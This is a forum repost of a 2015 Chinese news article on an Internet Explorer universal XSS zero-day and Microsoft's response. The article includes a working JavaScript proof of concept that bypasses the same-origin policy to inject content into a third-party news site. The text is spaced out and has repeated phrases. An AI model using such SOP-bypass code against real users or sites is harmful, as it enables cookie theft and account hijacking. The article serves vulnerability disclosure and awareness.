搜索

[8661] 2015-02-05_最新XSS0day漏洞来袭，影响最新版本IE浏览器（含POC）

文档创建者：s7ckTeam
浏览次数：41
最后更新：2025-01-17
2015-02-05_最新XSS0day漏洞来袭，影响最新版本IE浏览器（含POC） 最 新 X S S   0 d a y 漏 洞 来 袭 ， 影 响 最 新 版 本 I E 浏 览 器 （ 含 P O C ） F r e e B u f   2 0 1 5 - 0 2 - 0 5 安 全 研 究 人 员 近 日 发 现 了 一 个 严 重 的 安 全 研 究 人 员 近 日 发 现 了 一 个 严 重 的 X S S   0 d a y 漏 洞 ， 该 漏 洞 可 影 响 最 新 版 本 的 漏 洞 ， 该 漏 洞 可 影 响 最 新 版 本 的 I E 浏 览 器 ， 将 用 户 暴 露 在 被 攻 击 和 身 份 盗 窃 的 危 险 之 中 。 浏 览 器 ， 将 用 户 暴 露 在 被 攻 击 和 身 份 盗 窃 的 危 险 之 中 。 漏 洞 信 息 漏 洞 信 息 该 漏 洞 能 够 影 响 完 全 修 复 过 的 该 漏 洞 能 够 影 响 完 全 修 复 过 的 I E 浏 览 器 ， 黑 客 可 以 利 用 该 漏 洞 盗 取 用 户 的 敏 感 数 据 （ 例 如 登 录 凭 证 ） ， 并 能 向 浏 览 器 会 话 注 入 恶 意 内 容 。 浏 览 器 ， 黑 客 可 以 利 用 该 漏 洞 盗 取 用 户 的 敏 感 数 据 （ 例 如 登 录 凭 证 ） ， 并 能 向 浏 览 器 会 话 注 入 恶 意 内 容 。 攻 击 者 利 用 该 X S S 漏 洞 可 以 绕 过 同 源 策 略 （ S O P ） 。 同 源 策 略 是 w e b 应 用 中 一 个 基 本 的 安 全 模 型 ， 用 来 保 护 用 户 的 浏 览 体 验 。 同 源 策 略 在 维 基 百 科 上 的 解 释 为 ： “ 该 策 略 允 许 同 一 站 点 （ 系 统 、 主 机 名 和 端 口 号 的 组 合 ） 页 面 上 的 脚 本 访 问 彼 此 的 D O M ， 而 没 有 特 定 的 限 制 ， 但 阻 止 访 问 不 同 站 点 上 的 D O M 。 ” 漏 洞 漏 洞 P O C 上 周 D e u s e n 公 布 了 一 个 P O C 利 用 ， 以 此 演 示 当 用 户 使 用 完 全 修 补 的 I E 浏 览 器 访 问 特 定 的 网 页 时 如 何 绕 过 S O P 。 该 D e m o 向 《 每 日 邮 报 》 官 方 网 站 中 注 入 了 “ H a c k e d   b y   D e u s e n ” 的 内 容 。 以 同 样 的 方 式 ， 一 旦 攻 击 者 登 录 网 站 ， 他 们 就 可 以 冒 充 受 害 者 从 该 网 站 盗 取 身 份 验 证 c o o k i e 。 一 旦 得 到 c o o k i e ， 攻 击 者 就 可 以 访 问 某 些 限 制 区 域 ， 而 正 常 情 况 下 该 区 域 只 有 受 害 者 能 访 问 ， 包 括 信 用 卡 数 据 、 浏 览 历 史 和 其 他 机 密 数 据 。 此 外 ， 钓 鱼 网 站 也 可 以 利 用 该 漏 洞 诱 骗 网 民 泄 露 他 们 在 敏 感 网 站 的 登 录 密 码 。 下 面 是 绕 过 下 面 是 绕 过 I E 浏 览 器 中 同 源 策 略 所 使 用 的 代 码 ： 浏 览 器 中 同 源 策 略 所 使 用 的 代 码 ： f u n c t i o n   g o ( ) {       w = w i n d o w . f r a m e s [ 0 ] ;       w . s e t T i m e o u t ( " a l e r t ( e v a l ( ' x = t o p . f r a m e s [ 1 ] ; r = c o n f i r m ( ' C l o s e t h i s   w i n d o w   a f t e r   3 s e c o n d s . . . ' ) ; x . l o c a t i o n = ' j a v a s c r i p t : % 2 2 % 3 C s c r i p t % 3 E f u n c t i o n % 2 0 a ( ) % 7 B w . d o c u m e n t . b o d y . i n n e r H T M L % 3 D % 2 7 % 3 C a % 2 0 s t y l e % 3 D f o n t - s i z e % 3 A 5 0 p x % 3 E H a c k e d % 2 0 b y % 2 0 D e u s e n % 3 C % 2 F a % 3 E % 2 7 % 3 B % 7 D % 2 0 f u n c t i o n % 2 0 o ( ) % 7 B w % 3 D w i n d o w . o p e n ( % 2 7 h t t p % 3 A % 2 F % 2 F w w w . d a i l y m a i l . c o . u k % 2 7 % 2 C % 2 7 _ b l a n k % 2 7 % 2 C % 2 7 t o p % 3 D 0 % 2 C % 2 0 l e f t % 3 D 0 % 2 C % 2 0 w i d t h % 3 D 8 0 0 % 2 C % 2 0 h e i g h t % 3 D 6 0 0 % 2 C % 2 0 l o c a t i o n % 3 D y e s % 2 C % 2 0 s c r o l l b a r s % 3 D y e s % 2 7 ) % 3 B s e t T i m e o u t ( % 2 7 a ( ) % 2 7 % 2 C 7 0 0 0 ) % 3 B % 7 D % 3 C % 2 F s c r i p t % 3 E % 3 C a % 2 0 h r e f % 3 D % 2 7 j a v a s c r i p t % 3 A o ( ) % 3 B v o i d ( 0 ) % 3 B % 2 7 % 3 E G o % 3 C % 2 F a % 3 E % 2 2 ' ; ' ) ) " , 1 ) ; } s e t T i m e o u t ( " g o ( ) " , 1 0 0 0 ) ; 微 软 回 应 微 软 回 应 微 软 表 示 已 经 开 始 修 复 该 漏 洞 。 微 软 确 认 目 前 还 没 有 收 到 大 量 漏 洞 利 用 的 案 例 。 “ 我 们 还 没 听 说 这 个 漏 洞 被 大 量 利 用 ， 目 前 我 们 正 在 进 行 安 全 更 新 。 另 外 ， 要 利 用 该 漏 洞 ， 攻 击 者 需 要 首 先 诱 导 用 户 进 入 一 个 恶 意 网 站 ， 这 一 步 经 常 通 过 网 络 钓 鱼 来 实 现 。 不 过 ， 在 新 版 本 的 I E 浏 览 器 中 默 认 开 启 的 S m a r t S c r e e n 功 能 ， 能 够 保 护 用 户 免 受 钓 鱼 网 站 危 害 。 我 们 将 继 续 鼓 励 用 户 不 要 打 开 来 源 不 明 的 的 链 接 ， 同 时 也 不 要 访 问 不 可 信 的 网 站 。 并 且 ， 为 了 保 护 用 户 的 信 息 ， 我 们 建 议 在 离 开 网 站 时 要 及 时 注 销 登 录 的 账 号 。 ” 微 软 解 释 说 ， 攻 击 者 必 须 首 先 诱 导 受 害 者 访 问 一 个 恶 意 网 站 ， 这 一 般 可 以 通 过 几 种 方 式 简 单 地 实 现 ： 例 如 ， 可 以 通 过 垃 圾 邮 件 分 享 一 个 链 接 ， 或 者 通 过 社 交 网 络 来 实 现 。 接 下 来 ， 让 我 们 共 同 等 待 微 软 修 复 漏 洞 吧 。 接 下 来 ， 让 我 们 共 同 等 待 微 软 修 复 漏 洞 吧 。 [ 参 考 来 源 参 考 来 源 S e c u r i t y A f f a i r s ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理